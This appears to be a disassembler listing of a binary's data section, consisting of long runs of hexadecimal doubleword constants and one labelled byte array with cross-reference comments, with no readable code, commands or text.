dd 4A2BB8B5h, 0B281182Ch, 25DAE1F2h, 12D51C20h, 10890C22h
dd 87C044BAh, 0B9A140C6h, 0BEF5008Ch, 29AE8AE7h, 1A00FADCh
dd 5AFB0206h, 0A58C4B05h, 9170B7ECh, 80B58933h, 0F09E83A0h
dd 4CD014h, 0B0FC8E8Bh, 0CE767AFAh, 601DDAE8h, 0F08AD664h
dd 98C4487Dh, 34304936h, 0ECEE9086h, 5AFA0EC5h, 9A80DD61h
dd 6B2BB224h, 0EED0B950h, 0D667B314h, 0CD31B150h, 0BB48541Ch
dd 0A0BA29A3h, 23D0884Ch, 7400A160h, 0CE8AE60Bh, 389007F3h
dd 439BA167h, 80C9CA7h, 10A2F1E7h, 1F977C33h, 6756D27h
dd 20C2D707h, 325AE800h, 18415121h, 4433005Bh, 3582F1D0h
dd 7A017462h, 51E00FB9h, 4BE0037Ch, 412E0765h, 0F0C2EBF1h
dd 1AC8A927h, 8758A763h, 0C778018Eh, 46B50CAFh, 1833FFD7h
dd 0BF3B60FFh, 8D4FC0A8h, 810893EEh, 8273FFC6h, 0BE34CA61h
dd 0C836605Dh, 73477DDAh, 41083A35h, 4F912701h, 0D5D0E132h
dd 0F7584CCFh, 0B1810085h
dd 4FFAFD5Dh, 876A1D15h, 6889874h, 0A7862AA8h, 43A1031Ch
dd 693B0E39h, 0E2F110ABh, 8F385897h, 39928331h, 0C1F0B7C6h
dd 5E5805A3h, 20982017h, 0DBA9FF18h, 0BC08940Fh, 812A0B69h
dd 589550BAh, 3865AC41h, 0A6EC07D0h, 59A73F34h, 0B81C178Fh
dd 0EFA16100h, 0A8A5375Fh, 0A6A39F0Fh, 8050831Fh, 391542ABh
dd 0E8A3A9Bh, 64481EFBh, 78DA81D9h, 0A1B88BCDh, 3B040756h
dd 184A9107h, 41495AE2h, 609F7733h, 642445C1h, 275860D7h
dd 4F301570h, 4BE158DBh, 775F15F7h, 85DDBCB8h, 4029F025h
dd 2AE019Ch, 3CACF760h, 92E6801Ch, 392129F0h, 575F18F3h
dd 0EB973095h, 0B6382CA6h, 1B7A2F2h, 65CA3D41h, 414628D7h
dd 0F879EC88h, 0E515A9BAh, 8760DB1Ch, 9CF6D56Ah, 8612841h
dd 301B188Ch, 105D4047h, 8AFAC817h, 54BBC502h, 5D2090ABh
dd 68C32AB9h, 0A1810A80h, 0E03418CCh, 0FE7B2892h, 0AEE8C0A4h
dd 0DB9B1805h, 0AC2C693Dh, 0BF130A93h, 81C06DACh, 9AD19971h
dd 7788405Dh, 15524DE2h, 6BEC9DCh, 28D1931Ch, 0ECDC72E1h
dd 0A565F892h, 86C09FB8h, 6866F8D4h, 302A0109h, 7210960Eh
dd 39A33BD5h, 212E6305h, 0C81030F8h, 0AD54CC66h, 43034184h
dd 40576416h, 0DCE84292h, 0FFFFD81h, 6131823Ah, 65154BB1h
dd 4E9F831Ch, 0A11AAFC6h, 38F8C581h, 30110E50h, 0A12907CDh
dd 44999489h, 0C74E49C0h, 0AC6B5536h, 0FAD1D0FBh, 3428485Fh
dd 7B87924h, 0C0A055B7h, 1C76EABAh, 4CAEBB14h, 0CC8DA03Ch
dd 43902801h, 20E1038Ch, 157B0E40h, 0AA9B0800h, 0B93AC67Ch
dd 1B1C3C8Bh, 1022FD7Ch, 0A4DE53C0h, 48C4579Ah, 0CC829D01h
dd 1A4457Bh, 96739A9h, 0DB2100D2h, 6B0A079h, 5AC62BACh
dd 0B2B30350h, 494E648h, 6C83C741h, 1132A1FBh, 0B8C07432h
dd 5F12AC96h, 456130C7h, 0EAFB1BD0h, 0A9B8C649h, 0CF0098E4h
dd 1F5AC5A4h, 0FACB60h, 97677C63h, 0F770B4DAh, 70377826h
dd 9860FB70h, 0B6752472h, 0B8130098h, 0C1C69B12h, 6D1ACC16h
dd 0F23A9300h, 2C9ABE21h, 0B409ECBh, 3400FE3Dh, 0B768450Ah
dd 9C3A9124h, 68ACA51Dh, 8092650Ch, 0C976002Ch, 7AE6AB85h
dd 9B615CA9h, 7B0B0F10h, 722E9E0h, 0EC1C8976h, 0E5B7D02Ah
dd 0CB0E65C8h, 80F5CC17h, 223967BFh, 8923079Ah, 417747A6h
dd 40323DF1h, 0A2C42FEFh, 17A0841Dh, 1B1994Fh, 77EDE3CFh
dd 74A9D970h, 33841D7Ah, 305E802Ah, 0E4A3F590h, 3D60C9F8h
dd 195F0590h, 0AAB500CCh, 0AFD59AC0h, 30A83191h, 0BC71B237h
dd 9018A390h, 0A960FBEFh, 70330096h, 7405B309h, 7698B0C9h
dd 189D78B5h, 8B845C1h, 331727A5h, 2B0E3590h, 0A4128717h
dd 0F84D6950h, 5B650EC1h, 8685C7B2h, 0EF6C2140h, 0B8BBD4DBh
dd 0F905F00h, 0C97743ADh, 70310E48h, 2500A949h, 0CB350E89h
dd 0CA1F0572h, 0A759697Ah, 644DDE88h, 0F6325C4h, 905914EDh
dd 7A691D40h, 77740B49h, 0B528090Fh, 6A304674h, 2B83010h
dd 2B726B48h, 61D28900h, 0F9C305C0h, 62691477h, 8A18B0CCh
dd 0DECE48E0h, 88472081h, 7707FA47h, 2D660FC0h, 0BDA81FE9h
dd 0FF8986C7h, 0D0DDC074h, 10AF0CCCh, 711F1C6Ch, 0C0550109h
dd 41C80DC5h, 207D108Ch, 48068620h, 0F509E977h, 8BE60A8h
dd 0C9942049h, 65CDE51Dh, 0A6E41839h, 0C0045F90h, 2C20A120h
dd 0FA78EC69h, 2FA42901h, 508425CBh, 7D6688Fh, 56E58983h
dd 2C1485C0h, 1F4C674h, 24B6245Ch, 0C20A202Eh, 0F601B472h
dd 7EC92876h, 60892C20h, 81492073h, 4F39945Ah, 959A864Ch
dd 3409846h, 0E92EB09Fh, 201E54C3h, 8900AECFh, 92AC6DEh
dd 24971E40h, 28CC40E9h, 710EADA9h, 10BF2918h, 74ED5388h
dd 476800C1h, 0EF099597h, 8400492Bh, 9B89798Ch, 1DC5C875h
dd 879D7D93h, 0A29AA086h, 0C140ED21h, 90A0C232h, 0E0E5D77Ah
dd 0CB002A8Ch, 7607C085h, 23BF849h, 0BE7025CAh, 14608975h
dd 93FEA5C9h, 6028C5E8h, 4A308065h, 44CD708Bh, 618571CAh
dd 0B07E20A7h, 1090D775h, 0D824A92Fh, 890AE00Bh, 3048478h
dd 0DC8B7B0Dh, 82581F02h, 0AC40DAACh, 4E01B44Fh, 7123A5C0h
dd 0BAD5E97Ah, 7C6F1820h, 0BD452853h, 0AC900D4h, 5B897A72h
dd 0A9192D64h, 0DD18AF5Dh, 6E092085h, 52FC0DBCh, 12DE108h
dd 82C26DC9h, 41A95EF0h, 70845C04h, 87D02765h, 2F55C030h
dd 0FB4C3249h, 0F76D1820h, 9385140h, 360EA5CBh, 672B1C02h
dd 4BCC1C60h, 3BD50C6h, 0FE330030h, 4997E974h, 0B048E5CAh
dd 17850934h, 0D38403A8h, 7A9818B3h, 60D7D059h, 66480498h
dd 93007408h, 0BB4929BCh, 3109286Eh, 5A10C8B0h, 0BA45D473h
dd 559A9600h, 0A925C99Eh, 2080F581h, 0E928CAB2h, 710010F2h
dd 0C60FFD69h, 74217FC5h, 39191FC1h, 16C8002Ah, 0C26E920h
dd 84C09E8h, 73B50288h, 0DE55973Ah, 6773C6Fh, 0DB45CA47h
dd 7724C83Eh, 8512A8D9h, 9109F407h, 0F58900AFh, 4D359ABFh
dd 0E3C034AAh, 5239CD9Dh, 6F1390E2h, 1409CFE5h, 2F8001A4h
dd 742070F2h, 83E4976h, 4E5B0180h, 6309EA87h, 0A5448F90h
dd 0BC021C74h, 0C005ACE5h, 0AE07518h, 8B8EB961h, 58264F3Ch
dd 78CFE003h, 7AE365AFh, 776B3470h, 0A143670Ch, 0D258D7CFh
dd 4868A4C9h, 898B4E1h, 0A8DF4026h, 0F0F39D0Ah, 700F3513h
dd 7B42849h, 432D5807h, 1813CCC9h, 74065D52h, 4C20BE8Fh
dd 317C3870h, 4F583D5Ch, 0D71089A9h, 0E774800Fh, 9AC97BBDh
dd 1B65268Ch, 46B18874h, 3804BF0Ch, 7FCC09AFh, 9CA2C969h
dd 0CC843C8Bh, 65448024h, 3090F59Fh, 26546220h, 13D0FD14h
dd 29C40247h, 0F041419Fh, 0C53C207Fh, 58A8F932h, 57746870h
dd 0B7D0F965h, 1D5898D0h, 0B29BB6Bh, 5802268Dh, 7861A225h
dd 89643081h, 484BB720h, 950048D3h, 0E92A5F73h, 8C752A3h
dd 29813176h, 10895D6Eh, 6803A830h, 9024B8DEh, 6903D871h
dd 0E12794AAh, 282016DBh, 0D4EC4844h, 0A0EBF714h, 0C3105A37h
dd 80349DA7h, 9C8608B8h, 0A018B038h, 4C48A97Ch, 7A13980Dh
dd 0B69406F4h, 784808F6h, 0BAE900B0h, 0CE697994h, 26F0B09Bh
dd 1F8C27F2h, 6589392Dh, 3885DA56h, 690CC0D3h, 0CB093479h
dd 306F0C5h, 1EF18538h, 80DC8330h, 25157D60h, 0B703FF3Eh
dd 459380FAh, 0ACB1C124h, 0CBC0E0h, 8C4D99F4h, 0A32D1484h
dd 8D9EEE0Fh, 183AFF3Dh, 0A508F14Ah, 60C01801h, 156D182Fh
dd 20C67C04h, 40F8AAB1h, 80C0DE06h, 0E2E0082Ch, 20923E07h
dd 40C0B7A3h, 0FAF49BE0h, 0FA0C3E25h, 9E63F445h, 0A73180F8h
dd 7874A00Ah, 94080E3h, 0A95700FDh, 0C5DB6546h, 0B9009F69h
dd 286AC6ABh, 0A4C3A831h, 0E39E0010h, 142BFD1Fh, 0DF004447h
dd 7F90A0F9h, 0A6320F4h, 0A8ED9EF5h, 4C53602Ch, 2DE4D1CEh
dd 85671400h, 75C0F9D6h, 3E66155Fh, 0CA058405h, 84CD1A0Dh
dd 0BE3C2077h, 0D4001DF6h, 871B3F0Bh, 0EFA0D62h, 148B3460h
dd 7D16DC5h, 4ECBFC8Ch, 0FE1D47A3h, 634460CDh, 773090F3h
dd 26A7C0E0h, 5E2D0A93h, 98A9B0h, 0C0FB6F56h, 4DE21ABFh
dd 20166A29h, 0D72A0C04h, 901DC2C4h, 0A286170Eh, 90702780h
dd 105F6258h, 52FF2Eh, 2D92AAE7h, 0F6EAD97Eh, 0F79D3FE0h
dd 2A664087h, 1254C024h, 57E05E25h, 0F131C0FAh, 0AA9EE08Eh
dd 508740D0h, 0DEBF98CFh, 987003A8h, 0C6DBBE2Dh, 1C6B00C7h
dd 5F03A08Ah, 9B20F512h, 0BC03A70Ah, 5380C0F0h, 24C270E0h
dd 0C049A05h, 19F0B828h
dd 0DE2B6E00h, 2D9E267Dh, 0C2DF02E2h
db 0C0h
byte_530055 db 36h, 68h, 0F8h ; DATA XREF: ___:off_437A24o
; ___:off_437A3Co
dd 0FC0AA09Ch, 80AE83D2h, 95CE0800h, 3A29608Fh, 3E0E8D77h
dd 7BA7146Eh, 0D1CD40A2h, 0B9F8F4DAh, 0C12808D1h, 0B454E7EBh
dd 272824h, 0E0C098A1h, 9D9CBE1Dh, 3AC06F57h, 660304BFh
dd 408338C0h, 0E71AD8AEh, 831893B3h, 0B8083741h, 8E67593Ch
dd 6C608A38h, 0F64E90C5h, 52D051Ah, 671E24EBh, 944AD120h
dd 0B587106Ch, 29EDE883h, 40649F95h, 17A10CB8h, 0FC8C1451h
dd 8C90CEAFh, 99FC6012h, 74EA882Ch, 77DA2096h, 95A0C712h
dd 0A0241014h, 498B8659h, 0E80AC8E0h, 13F8BC0Dh, 6D240083h
dd 4D9E2223h, 0F8F89528h, 2534211Eh, 24146953h, 60D5B0F0h
dd 0F6C231BCh, 206B07D8h, 86284020h, 4A3EBCBBh, 3A4D07A1h
dd 8EC0CAA5h, 268D1A1Fh, 58F6A0h, 6D17503Bh, 80C49BD9h
dd 0F8801D04h, 1362E0BAh, 74DB43Eh, 4BF3D72Ch, 2B6AAF00h
dd 0A87447FEh, 4490BE00h, 6BB4B1B7h, 0A0511DB5h, 73910E6Dh
dd 5DF10DDEh, 7CEF110h, 54ACFEC5h, 1F9101Dh, 4F272E11h
dd 8601C873h, 4403F301h, 0F212D387h, 3A3013F0h, 0F601B4B3h
dd 7C33802Ch, 0BFC7302Bh, 0F4FF03Ah, 38A630Bh, 0E0BDC6B9h
dd 8038D3h, 0BEA895F3h, 520B49B3h, 27401307h, 45537353h
dd 0C57CC151h, 745B33F0h, 8BD3181Fh, 39B7280Fh, 0AB934400h
dd 0BD534B3Ch, 0D838C6DDh, 78001892h, 6BAF4DB0h, 3322807h
dd 0F231BCADh, 0B2A1C872h, 0DC2EED0Bh, 0ECF998A8h, 92F01DBBh
dd 4038BA00h, 29F57457h, 83961B2h, 9B034E72h, 0A7105248h
dd 0B77E6F90h, 7BA202B0h, 7416AD57h, 0F084DDE1h, 20DEA6D7h
dd 7639A000h, 0FA135F7h, 9FFC377Bh, 0EC91781h, 0DBA3F175h
dd 6E6097A0h, 0CCA62280h, 57403838h, 750BE503h, 354D2B7h
dd 74AA4518h, 2000BFD7h, 1BA781F7h, 73A89C1h, 39350267h
dd 0A6294360h, 9AC0E1E0h, 3C0001E8h, 35377E6Ch, 0BF661Dh
dd 0CCD22AD8h, 845DB46h, 0CF89B600h, 2F90E803h, 14AC32h
dd 127D21B9h, 4E535EB6h, 0ADE13F00h, 1B90CBFBh, 0F6263D68h
dd 0EFDC7780h, 55C30192h, 51EE5324h, 14AB140Ah, 0DE8204C1h
dd 0E25381C0h, 0DC4B0E8Eh, 0A9452BFBh, 672C70B3h, 1F20C6E5h
dd 52E3BD8h, 0CBBB380h, 8D9BF68Ah, 0F36DA60h, 0F480C397h
dd 79EF9047h, 20C00707h, 80FCBEB9h, 0E0C3E938h, 7CB2F63Ch
dd 49274200h, 0F59DA318h, 0E680001Bh, 0B30740DBh, 122460D9h
dd 4823ACC3h, 0AA938D02h, 0CE88A06Ch, 42B3ACBAh, 8F9803Bh
dd 8254EEEDh, 87B9C3C1h, 0ACABBDB0h, 0F9B8C04Eh, 0C3B356EBh
dd 0C1D59F90h, 6040B580h, 0CE3C0C00h, 0CC901BFBh, 0C8BB0AADh
dd 813014B7h, 0BC51615Fh, 360E00D1h, 5BF701AFh, 8B145267h
dd 40F88572h, 70C11012h, 608ACA46h, 0A903C36h, 38882571h
dd 58490B70h, 54018D59h, 501AE210h, 9BE92134h, 0AEECB654h
dd 0FBE36907h, 58BCF98Bh, 11E7379h, 14D0242Ch, 0D0CE0B2Bh
dd 0C93E46CBh, 0B81794C7h, 29F8F5Ch, 0F27C852h, 4B50462Ch
dd 0C12D7600h, 1405CEE0h, 2A8A5EBh, 0AC3BFE42h, 1757EE20h
dd 0ACC1D60h, 87EC0615h, 0AC140820h, 0B0DCC7D2h, 30E7C50Ah
dd 8E4034EBh, 10A496DEh, 0C6091D09h, 2E4C21D5h, 608F3BBFh
dd 208E1590h, 81C08C75h, 706F84B2h, 0C0A3CE80h, 1F284C30h
dd 0D8A5C0C6h, 0E89803Ch, 0F45396BDh, 0EEF644h, 0B186A2B3h
dd 4CCFF851h, 0D3184800h, 4E40313Dh, 4DC7009Bh, 0AE8CDAFAh
dd 0E4EC02F9h, 0A81B2803h, 2ACA562h, 53D97738h, 803AD278h
dd 1674B735h, 84FA0001h, 0E362664Bh, 51058DFDh, 33678F38h
dd 72171841h, 24107350h, 621065F3h, 0F8082B23h, 0E2C0577Dh
dd 40A20BBDh, 8220C4EDh, 0A02C6064h, 53CA63C2h, 0E4B0D81Dh
dd 68A09802h, 59EF3033h, 6441D460h, 1D4B5A82h, 766CD78h
dd 0AA61C3D8h, 3EBFE054h, 0BC01E672h, 4604FA06h, 804B4942h
dd 29DCE306h, 0A41029BCh, 0DEE00937h, 9644CD3Ah, 0FD627944h
dd 11F5785Ch, 1E289A86h, 480F1AE4h, 0A0B03B98h, 94973Ah
dd 334AABB2h, 1252056Eh, 0DFE3601Fh, 4BD9B6C0h, 3382720h
dd 355828D2h, 1CA07F23h, 55002F7Ah, 0F41854F1h, 5078A197h
dd 1B206Dh, 6A084235h, 43872084h, 9832790Fh, 952F2114h
dd 18486F5Eh, 0D7021140h, 53E700FCh, 6E94F069h, 85608F2h
dd 0EEC0A214h, 0F20BA4A0h, 4720284Eh, 0C108486h, 1405E71h
dd 0A806A751h, 0DBB4F7B2h, 0C4341E08h, 75F40E8Dh, 2380F60Eh
dd 5B4AF26h, 0C928B160h, 0E034A4FFh, 7842000Eh, 38435DC8h
dd 0E70F0B05h, 1F60B2B4h, 0C04C2F14h, 0F46970CBh, 1D78D6C4h
dd 18AF9E9Ch, 0E0540847h, 0A170F763h, 12D4A103h, 9F43E7C7h
dd 8774E85Dh, 5832008Ah, 0D8423824h, 68C34A26h, 92F9B41Ah
dd 40B4B892h, 0F8E00C9h, 67204F87h, 68CDEA99h, 0B704C8BFh
dd 5332B471h, 0A068B8E8h, 1518C79Ch, 84B4F07Bh, 0A4973415h
dd 0C36C0DC4h, 0D0086338h, 21EADC27h, 64E40F8h, 0D620190Bh
dd 58B7624Bh, 9405B934h, 863F828h, 64A47A18h, 56FF1982h
dd 4640B068h, 8B0810DDh, 0D4718B9h, 40698828h, 3B0017A0h
dd 0E7C0BF8Dh, 7CF65E9h, 0F8692C1h, 770740E6h, 0D042CA7Dh
dd 13B57F00h, 9298D32Dh, 79026601h, 7823F7A8h, 0B23C6818h
dd 999882EEh, 0E0F0C692h, 529DD7ADh, 7E73146Ch, 0A65744C3h
dd 77501962h, 0D8149BCAh, 609CA73Fh, 0E70678AEh, 0C0118F2Fh
dd 31817EC5h, 822CF329h, 0A438E629h, 8064B8C9h, 0C6E91079h
dd 54638B6h, 0CF27D725h, 6E723C30h, 29A460E9h, 0F71B5926h
dd 67DCD81Fh, 0F27A3800h, 38BF8F1h, 78181E64h, 249B192Eh
dd 78D8082Bh, 0B35E1601h, 0B450D5A1h, 3CA872B9h, 0E2033457h
dd 0E987B018h, 108EE6A7h, 70FFF031h, 0BB0354D5h, 2058780Ch
dd 6359106Dh, 0A83D0888h, 4C7298E1h, 9052574h, 8CF31C2Bh
dd 0E05DD81Ch, 0E03EA708h, 6B25C92Bh, 0A98A020h, 0C7D7CF87h
dd 0A26F50B0h, 69FEEE10h, 8EAA601h, 1CCBE7D7h, 7097394Fh
dd 602A520h, 0B8AC1C43h, 6EB03B9Dh, 0AFFC417Bh, 3BF0A34Ch
dd 3C182B12h, 6C0E7401h, 288BAF7Bh, 0FA005C46h, 0F1CEEDF8h
dd 9809D860h, 56A85652h, 60064837h, 699621DEh, 6B502614h
dd 7414029Ch, 38B4E48Ah, 7C30DFB3h, 4C8631E7h, 0A97F42Dh
dd 38E2A731h, 0DA23C030h, 66883A2Fh, 0C3B73946h, 0C7027856h
dd 0A10DA038h, 744EC601h, 515FA020h, 0E00AEC9Ch, 811C9106h
dd 0A6045947h, 0D7A84BE3h, 41EEEB28h, 0A2F8E402h, 435906DDh
dd 0A423FDA4h, 9989174h, 0F5AAC0h, 853DA657h, 0B887D4E2h
dd 80DD5105h, 1403F8A2h, 0C808E556h, 18F7562h, 0B8860582h
dd 188420D1h, 50390371h, 9A6ADA7Bh, 0B8CB3CEBh, 188BD5D9h
dd 0AB7018D1h, 40427907h, 51BBCA07h, 0B141C923h, 0B8E2CB28h
dd 18706C44h, 60D52141h, 340EF362h, 793BD1A2h, 418A1FB8h
dd 401C8ADAh, 3E24AA63h, 2C05960h, 75BFC35Eh, 814610h
dd 0A71D45D2h, 189A57DFh, 50CD8622h, 0C30EA2BAh, 8A7FE690h
dd 13C06830h, 63201EE5h, 0DC298DEh, 39B0C3D8h, 2962883Fh
dd 0B68018DFh, 9D2B0EA8h, 39B780Bh, 10CA65DCh, 80C62B3h
dd 10B6E6E0h, 3FA40050h, 60F5E08h, 0B400E1A5h, 540D38CEh
dd 0E6AFDA8h, 295A97EAh, 0BB5C04E1h, 559C60A5h, 96808B0Fh
dd 84710024h, 0DDA7C1h, 16120409h, 0B66E5EAAh, 0F6DC9C17h
dd 40D3C40Eh, 7313CEBCh, 3EF70E08h, 9DE09216h, 64C2EE58h
dd 1A7B0A00h, 0D78CBACBh
dd 0C9CA03A4h, 6FC453FBh, 8D204980h, 3DA7EE03h, 0E824BDBCh
dd 18A94B06h, 0D8CC1A7Dh, 35759A40h, 6F679D00h, 9E71721h
dd 0E17B1Eh, 6B2FDF30h, 8ED42456h, 5BD2EB00h, 0ED5D2C1Ah
dd 0CF553B7Ah, 97D60380h, 0F57E1704h, 0CA0D4900h, 0ACA28215h
dd 2FE0034h, 0B041F5Fh, 40012939h, 0BD51593Ch, 0AC40616Eh
dd 13F06AAh, 660779E0h, 6EB5F011h, 0AD3DE4C3h, 979EB800h
dd 0F17D5D2h, 6336F12Eh, 0DC8A6AE0h, 4B3EA49Ah, 441600DFh
dd 43CC89E5h, 0A1020631h, 525B39ABh, 6A00DB7Ch, 3D59C2BBh
dd 0F6A60C8Eh, 0D21B1DB3h, 49EB007Ah, 26FC4377h, 0AAED991Ch
dd 8A6EE43h, 36A8C8BAh, 0FA6107FDh, 0B0E128F5h, 10012774h
dd 44C73Ah, 0BD2433A8h, 5D81E4Ch, 0B6EB85C2h, 0E30C0F17h
dd 0ABC72823h, 9970A2E0h, 0F30FE5F8h, 1425726h, 6916953Ch
dd 0D7E2D0h, 7262A802h, 0CA58DBD4h, 8784233Bh, 0F0B55FD1h
dd 678680BFh, 669B19h, 20F504C7h, 3E905DA6h, 8EB81F00h
dd 0A44FA73Dh, 0A2E0074Ah, 0C0A88092h, 707114AEh, 8F3FD300h
dd 51ADE58Ch, 0BC6800A0h, 2077C37h, 3C00D509h, 6B322472h
dd 1FC52A77h, 1E295B9Dh, 1FD080EEh, 4818A0D3h, 28AA2200h
dd 89E46AECh, 31A1E6ADh, 33291666h, 0F66EFCCAh, 0C7C4C500h
dd 0DDC831A3h, 14AB7CE5h, 0AEB52D3Ah, 2986FF0Ch, 7B205628h
dd 738418CCh, 8B015ED3h, 0B3283A62h, 41330090h, 0B7070DE7h
dd 0D1274CC1h, 0A2E4807Eh, 0F165ABh, 0B03A77FDh, 0AEA0A468h
dd 61003978h, 0F927BBAFh, 491C1Fh, 694354C8h, 19FACD53h
dd 741AA400h, 0F705E03Eh, 0F58E0093h, 34284DA6h, 4000A089h
dd 647C5758h, 1EEA3D04h, 873A804Fh, 306FED14h, 8456C6DEh
dd 8A908BF0h, 3E360733h, 24E2C006h, 0A5EC000Ah, 9FF2F9CFh
dd 2E00CA76h, 0B6EF2513h, 135E63Fh, 914B29BEh, 0FCCE785Eh
dd 0D8F8F9F4h, 0FA74137Eh, 79C2F300h, 0C19C7319h, 2968076Fh
dd 0B0B02806h, 31BAD1AFh, 531C8C0Eh, 525403DAh, 6671A8D6h
dd 0C7F80050h, 0B4832F48h, 4F00E8BBh, 533E9D11h, 3C6C93h
dd 10AD9201h, 22D8CDB1h, 0FD6F5B07h, 5554254h, 3D325DC0h
dd 0B0F30353h, 0ECDFA264h, 77A767B0h, 275D3703h, 0B8FF03AAh
dd 0C58670h, 5B8223EAh, 81FDAC35h, 0E9F86400h, 0DEB7CA7Ch
dd 0B3DF0052h, 0DACBF051h, 66001449h, 13C8D5F8h, 48A5BFBEh
dd 791FACF1h, 1CDD8Dh, 84A848E8h, 7600BE4Dh, 246DC989h
dd 285FED9h, 2DE0C57Bh, 40DDBF69h, 0DA43EDh, 43C8F1Eh
dd 9DF37428h, 0EFF50600h, 9C301FAEh, 7BF82E65h, 4A3D0228h
dd 0D6013BFh, 45020DF0h, 0D36DD982h, 9CE1407Ch, 0C56E004Ch
dd 838E7B8Bh, 0B40F2B6Ch, 5F53037Fh, 43F1C600h, 309C4BF4h
dd 3C585F95h, 693B8738h, 5D6A000Dh, 1C489897h, 0F2850035h
dd 0B0C4BCD2h, 3C034B76h, 8A3119ECh, 0F64FE0EEh, 0CAFE002Ah
dd 0FC256C87h, 3500031Ch, 1D188C9Ch, 0A2EF63Fh, 953E1389h
dd 2A480793h, 39BF7022h, 0E901FDC5h, 96DA6CA6h, 3920B48Fh
dd 17370049h, 0FFB60C79h, 4600AD28h, 1E9164A6h, 3FD2E0h
dd 74428440h, 0F5263CA7h, 23E8ED00h, 0FBF72261h, 4801000Fh
dd 0C51142E0h, 501389A3h, 3803CCC9h, 0A8FF3F66h, 736901Dh
dd 96D3FEF9h, 25E4D065h, 0C6129C3Dh, 6712E529h, 0CD7A0FBAh
dd 6783440h, 2F01283Ch, 0D212E970h, 9C47FF79h, 9A885ED0h
dd 0F70F00DBh, 97C4A1D4h, 6C48C729h, 0FA37007Bh, 9D7B6AC9h
dd 91FE00B3h, 0F2AE614h, 76009028h, 39D2AEA1h, 2DD797Fh
dd 9F55C227h, 1140DF59h, 3A071DB1h, 0ABB64DC1h, 458576F1h
dd 67D8BDDDh, 0F56000D0h, 952F9A56h, 0A51C8011h, 0FD417AA8h
dd 1804C34Bh, 8CD230h, 0ADF91341h, 48A8E0BBh, 4C3D5600h
dd 2FE5C4A4h, 0E73B00CAh, 4FC3D670h, 0AB009121h, 80EC3106h
dd 3BFE9F47h, 48F4E3A6h, 0A6608C44h, 0C7AEBEDCh, 0E97915Ch
dd 0E0FF6AC8h, 254AAC20h, 0CEF6003Ch, 0A62B0724h, 0C6045BCFh
dd 0F81AEE9h, 643B0080h, 30C00059h, 650A8EF6h, 0FF1E628Ch
dd 200882Eh, 29B0CBAEh, 3F730008h, 0A640030Ch, 1290F2FEh
dd 0E03A1C00h, 2EBEB36Ah, 0BA0A00C8h, 418F3BE5h, 0ACC2DBDDh
dd 40AF32A9h, 0FFFE1C43h, 0B44C90F7h, 91490033h, 0DBD7C930h
dd 0AC005C10h, 270BC75Bh, 1FBBE836h, 87F18Dh, 1AA7B47Dh
dd 5F00E604h, 721F49E2h, 7F4329h, 74D9DCF5h, 275C41B2h
dd 1202A9E4h, 0C7E6B6FFh, 0A62640CEh, 7BAD0078h, 0BAA45A77h
dd 0D4008829h, 878DBE55h, 1DCE9CCAh, 0E553E2EEh, 86002ED0h
dd 0EDA2D91Ch, 3516F5h, 34DC62B6h, 70CA084Bh, 0BD1A0400h
dd 0C1B1E2A7h, 11803C9h, 0D61697B5h, 93251C90h, 0C5965900h
dd 7E65F92Bh, 3EE305A0h, 0C08CAEFBh, 0EC72EE24h, 0BD97B102h
dd 40D604DDh, 3E477D5Bh, 3F80066Dh, 55FCCBAAh, 11004438h
dd 0EBD7A7DCh, 33D8A4Ch, 0C0517A6Fh, 0B9B37443h, 11C65100h
dd 1839969Ah, 369E0013h, 0E20D95BBh, 0AC03AE4Fh, 4CFFFEA4h
dd 3BAD8A0h, 98C3006Fh, 5894228Ah, 1407E26Dh, 480D72EFh
dd 0ECEBD550h, 935E0021h, 2FD8F5CAh, 1300D617h, 75976FB7h
dd 1E4C883Ah, 0A481BEEEh, 1EE02413h, 0C15183DAh, 2C80451Bh
dd 650453E7h, 8D6C14DEh, 0DAD857C0h, 170801C7h, 0A5EB1C94h
dd 1693D0B1h, 9D470900h, 6DDA2883h, 0A03700C3h, 0B973E32Ch
dd 8FF035FCh, 4620CE00h, 0B7BE7D85h, 513E1DCFh, 21040007h
dd 7A5DE967h, 70D98E00h, 0B1117440h, 0B66D0789h, 4013B737h
dd 19E856F3h, 3803E477h, 0BD546195h, 427AF0F6h, 18680364h
dd 0E9B404ADh, 496B8498h, 33B7B100h, 0EE96FC4Dh, 685400D9h
dd 0BFEF9D52h, 28703978h, 0AAB7D800h, 65648082h, 2EC058DAh
dd 3933B32Eh, 0BCDF3280h, 693A1014h, 0C10588E6h, 2ADD2BF3h
dd 68D100BFh, 8FBC295h, 0FAF48900h, 0E6E562F1h, 5A0E001h
dd 6B6A8BC9h, 0E01C0Ch, 0D7611A68h, 2A00E49Dh, 0F898D4EEh
dd 3C2CDEh, 77129B66h, 3F3DDFBBh, 0D35770E9h, 0C926B500h
dd 7F45CE54h, 27FA0F20h, 8E0783BDh, 12AC003Bh, 0F80002D9h
dd 746B03F5h, 89E8BCh, 3CF013EAh, 0AB8087C2h, 0ED0058F4h
dd 0B5472AD3h, 1B25D2h, 9E1DF7E5h, 117C889Bh, 87833700h
dd 0C8DCAE08h, 6CE00DEh, 0D6DF03E9h, 250EE6BDh, 64F845h
dd 85171D5Fh, 8BE50E15h, 0B9C3D451h, 93B1E776h, 61E0C6FDh
dd 0A6000FC1h, 0C84AEF6Eh, 0FF4C4Fh, 328616CEh, 0ACE44EA8h
dd 0D1001D7Bh, 1F5B8931h, 0DDE16Eh, 36957FAAh, 0FD43F685h
dd 76EF6400h, 51D91844h, 8E63072Ch, 1129D8CCh, 0F87CED78h
dd 6400479Ch, 0F79BD034h, 4B04AAh, 0E4422A76h, 0F3256BD2h
dd 2C00D498h, 0DAF683ADh, 1D9016h, 0BF12F5A1h, 0D3DD0A9Ah
dd 52003776h, 81F0CEE4h, 0F1549Eh, 0D2106E3Ch, 0B7CFFEF7h
dd 0CC83A800h, 0E93BFB80h, 20C203CDh, 9DA6AD61h, 1BFD9C8h
dd 80F9633Eh, 0B7AF42FBh, 75FB4C3h, 4827179Fh, 453C2038h
dd 0EA002C5Ah, 3A9DADF5h, 2C8C94A9h, 0B512F6h, 735F170Dh
dd 7E01B7D6h, 0AE11693Eh, 0A6D0DA47h, 68B007Ah, 6271AB7Fh
dd 2B0099AAh, 0BB2D482Fh, 4CA610h, 45E79366h, 470FC638h
dd 0ED92C200h, 2F87630Bh, 0E05301DDh, 40AF151Ah, 161DE87Dh
dd 0DC006AE0h, 492AC255h, 790AB48Ch, 0AEFC4C50h, 0BA845A07h
dd 225A3DEh, 972F182Eh, 64173B01h, 0CCE83599h, 5EB40043h
dd 0EA59FE13h, 540780E1h
dd 78BB94CFh, 0C89FA863h, 0AA10D4h, 493A30DCh, 7AFFA725h
